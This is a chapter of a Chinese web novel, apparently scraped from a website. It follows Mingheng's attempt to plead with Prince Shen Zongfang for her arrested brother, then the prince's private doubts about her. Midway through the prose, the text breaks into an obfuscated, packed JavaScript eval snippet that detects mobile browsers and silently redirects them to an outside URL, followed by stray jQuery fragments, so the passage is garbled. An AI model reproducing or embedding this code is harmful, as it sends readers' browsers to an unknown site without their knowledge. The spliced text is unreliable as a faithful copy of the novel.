秋狩这场合,明鹤这种不为皇帝所喜的文官是没资格参与的,是以他等到记得团团转的明枢回了家才知道此事。
但明枢自己也是听别人传达,只知道明桐卷进了失火之事中,具体是什么事他也不清楚。
明鹤这就犯了难,只能几次三番求见沈宗芳,想问问到底明桐做了些什么,但沈宗芳次次都充耳不闻。
一来二去,明鹤急得病倒了。
上次他训斥了明蘅,反倒惹了沈宗芳大肆铺排明蘅亲王妃的身份,他又觉得丢了面子,又有些畏惧,已是很久不曾和明蘅见面。如今明桐生死未卜,他又是当真病倒了,自觉这也不算自己对女儿服软,就没拦着柳氏给王府送信。
等明蘅一回来,又是青罗销金凤旗开道,又是手持金瓜、仪刀的仪卫护驾,八抬朱红漆金顶的凤轿,一群侍女前呼后拥,还有个言语极厉害的老嬷嬷,张口就是:“天地君亲师,请明侍郎先对王妃行君臣之礼。”
明鹤好容易积攒起来的气焰又给压矮了三分。
柳氏向来和明蘅说话随意些,她又听不太懂童嬷嬷话里的意思,倒是只顾着把自己要说的话说了:“王妃,二郎到底是出了什么事?可还能救一救的?”
明蘅简单把自己知道的事都说了说:“二哥到底做了什么,我是真无从得知了。”
既然是大姐带他去的,不如去问问她知道多少——明蘅犹豫了一下,没把这句话说出口。
明鹤听了只觉得更加棘手。难就难在不仅不知道七王爷是个什么意思,甚至都不知道明桐到底是做了什么。
“王妃,那七王爷对你颇为礼重,你就不能去他那里探个口风?”他有些焦虑地对明蘅道。
明蘅哪里没去?回了王府她是天天四处找沈宗芳想问个清楚,但是连人都没找着过。她哪里不知道这是沈宗芳根本不想见她的意思。
她皱起眉为难地说:“不是我不想去,实在是连王爷在哪里都不知道……”
这话明鹤可就一个字都不信了。他当时就变了脸色想教训她几句:对自己家的事多少也上些心!若是明桐当真被七王爷处置了,她这王妃也就做到头了!
但是话还没出口,就见一旁的童嬷嬷目光炯炯地盯着他……明鹤又把话咽了回去。
僵持中突然外面一阵喧哗,一道尖利的女声由远及近地传来,大门“啪”的一响,那女声更是直扑明蘅脚边,哭喊着:“王妃娘娘,你大慈大悲一定要救二郎一命啊!我给你当牛做马,只求你救一救他!”
明蘅吓得从椅子上一跃而起,不住地扯自己的裙角——定睛一看,原来是明桐的生母戴姨娘。
童嬷嬷铁钳似的一双手抓着戴姨娘一个旱地拔葱把她拉了起来,肃着脸道:“不可在王妃娘娘面前失仪。”
戴姨娘咽了口唾沫,顾不得满脸的泪痕哀泣道:“王妃娘娘恕罪,王妃娘娘恕罪。娘娘,二郎这孩子从小就老实,他没有胆子为非作歹呀。娘娘也是和他从小一块长大的,你还能不知道么?”
平心而论,明蘅还真不知道。
二哥和她并不亲近,她能想起的就是二哥每每和她一样,在角落里默默看着大哥他们,不多言语。
但要说二哥要害容侯爷,她也不明白所图为何。
见戴姨娘实在哭得可怜,明蘅还是拉着她的手安抚道:“姨娘放心,我总不能不管二哥。”
戴姨娘被冷汗湿透的手蛇一般缠上明蘅,她猛地往前一扑,贴着明蘅的耳边呢喃道:“娘娘,你救救二郎,我把手里先太太的东西给你。”
明蘅瞳孔一缩,转头盯着戴姨娘。戴姨娘下定了决心似的一点头,还要再说话,一旁的明鹤喝止道:“好了,说了让你别失仪,赶紧下去!”
柳氏忙招呼丫头们把戴姨娘带下去,许是想说的话已经说了,戴姨娘没有再挣扎,只是不转眼地盯着明蘅直到消失在她的视线之中。
-
明蘅虽然是一时恻隐才对戴姨娘那么说,但她确实也是这么想的:总不能当做没有明桐这回事吧?
如今戴姨娘说起许氏,眼看就是还有内情,她更不能不管了。
是以明知道沈宗芳并不想见她,明蘅还是叫来的净月询问哪里能找到沈宗芳。
净月有些迟疑:“娘娘,王爷若是想见你,自然就会让你见到……何必去惹他不快呢?”
倾海也附和地点了点头,流霞却反驳道:“可是我们娘娘的亲哥哥被王爷抓了,王爷多少也该说一声吧?王爷对娘娘那么好,问一问总使得?”
净月在清风出事后已经摸不准沈宗芳对明蘅的态度了,听流霞这么一说,似乎也有些道理。想了想道:“王爷应当就在书房。只不过他不想让王妃进去打扰,下人们自然都拦着了。”
于是明蘅心事重重地带着几个丫头来了书房外,不出所料,门口的小太监笑脸相迎,却仍是坚称“王爷不在,王妃请回吧”。
明蘅在心里给自己鼓了鼓劲,学着沈宗芳的样子有些倨傲地一抬头:“王爷不在,我就不能进去了?让开。”
枕翠几个自打拨给了明蘅,就知道倾海、流霞两个和王妃情分不同她们,一直苦恼怎么得王妃的青睐,如今机会送上门来当然要抓住,连忙快步走上来挡开小太监:“娘娘也是王府的主子,你们还敢拦?”
沈宗芳这些时日怎么捧着明蘅,小太监们都看在眼里。她千金之躯执意要闯,又不见沈宗芳的命令,小太监还真不敢硬拦,只好眼睁睁看着明蘅走到了书房门口。
明蘅看着紧闭的大门深吸了一口气,抬手扣门。
无人应答。
再叩,依旧无声。
明蘅咬了咬牙,直接推门而入。
书房内光线昏暗,沈宗芳坐在案前,指尖轻叩桌面,似笑非笑地抬眼望来。
“王妃擅闯本王的书房,是有什么要紧事?”
他的嗓音温润如玉,可那双眼睛却冷得像淬了冰。
明蘅被他看得心如擂鼓,勉力挺直了脊梁道:“不敢说要紧事,只是我二哥被王爷关了几天了,想问问他到底犯了什么错处……”
“若是他没错?”
“那自然请王爷放了他。”
沈宗芳轻笑了两声,站起身来缓缓向明蘅走近:“那若是他犯了错?”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15662529|172714||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
明蘅来不及多想,冲口而出:“那也请王爷网开一面……”
“网开一面?”沈宗芳冰冷的指尖掠过明蘅的脸,抬起她的下巴。他低头凝视着她,那目光如钢刀一般寸寸刮过她的脸,“你觉得你可以求我网开一面?”
明蘅一怔。
沈宗芳看着她渐渐发白的脸,笑意愈深,却也愈冷:“好好做你的王妃不好么?不该插手的事,最好不要插手。否则那网里是谁,可就未可知了。”
明蘅抿紧了唇。
——她真的太蠢了。她怎么会一而再、再而三的犯同样的错呢?
像七王爷这样的人物,不可能因为她的几句胡言就信了她逃婚是为了他,又怎么会这么轻易信了她的“真情”?
他这样众星捧月地哄着她是为了什么?她不知道。
但他冰冷的双眸如此直白地告诉她:一定不是因为他真心爱重她。
算一算已经这么久了,明蘅还是第一次从沈宗芳微笑的面容下窥见那个父亲和许太妃口中的“七王爷”……
那个面软心硬、笑里藏刀的狠辣之徒。
明蘅想想自己还曾为愧对沈宗芳一腔厚意寝食难安,心中针扎似的生出羞恼来。她平静地垂下眼,低声道:“是我僭越了,王爷勿恼。”
说完对沈宗芳福了福转身而去。
沈宗芳没有开口阻止她,只是目光沉沉地盯着她的背影。等到明蘅的背影消失不见,飞光和逝川才从暗处现身出来。
飞光的目光在沈宗芳和大门中来回打了个转,奇道:“不是说等王妃来求情就把明家那傻子放了么?王爷怎么——”
逝川毫不犹豫又给了他一肘子。
飞光虽然不知道自己说错了什么,还是乖觉地闭上了嘴。
书房里陷入了一阵诡异的沉默。
沉默得太久了,飞光左右看看,还是没忍住开口道:“王爷,那我们接下怎么办啊?”
怎么办?
沈宗芳按了按眉心,对自己有些不满起来。
明桐那小子身上根本查不出多少东西。
路边拉条狗来也知道上林苑和杨万元的好事必是许家干的,但明桐除了知道是他的好大姐让他去送药,一概不知。就是把他砍了对许家也没有任何损伤。
况且他立刻就明白了许家的算盘:恐怕在长乐那儿的花宴也好,明桐这朱雀养心丹也罢,就是为了让明家彻底开罪于他。
明家和他的仇做死了,不找许家做靠山还能怎么办?
所以他和丁凤声他们都商量好了,只等明蘅来求情,借机就把明桐放了。许家想挑拨明鹤,他索性让明鹤觉得七王府更有路可走。
可是当明蘅真的来求情的时候,他只觉得一股无名火油然而生。
气什么呢?明家费尽心思把她弄进王府,不就是为了这个?丁凤声和童嬷嬷替她说话,他不是还自己否定了那些她是无辜的可能?
可是她那些话说得多好听啊。
那些没了他也不会有别人的话,那些为了他什么都舍得的话……
沈宗芳闭了闭眼。
真是蠢透了。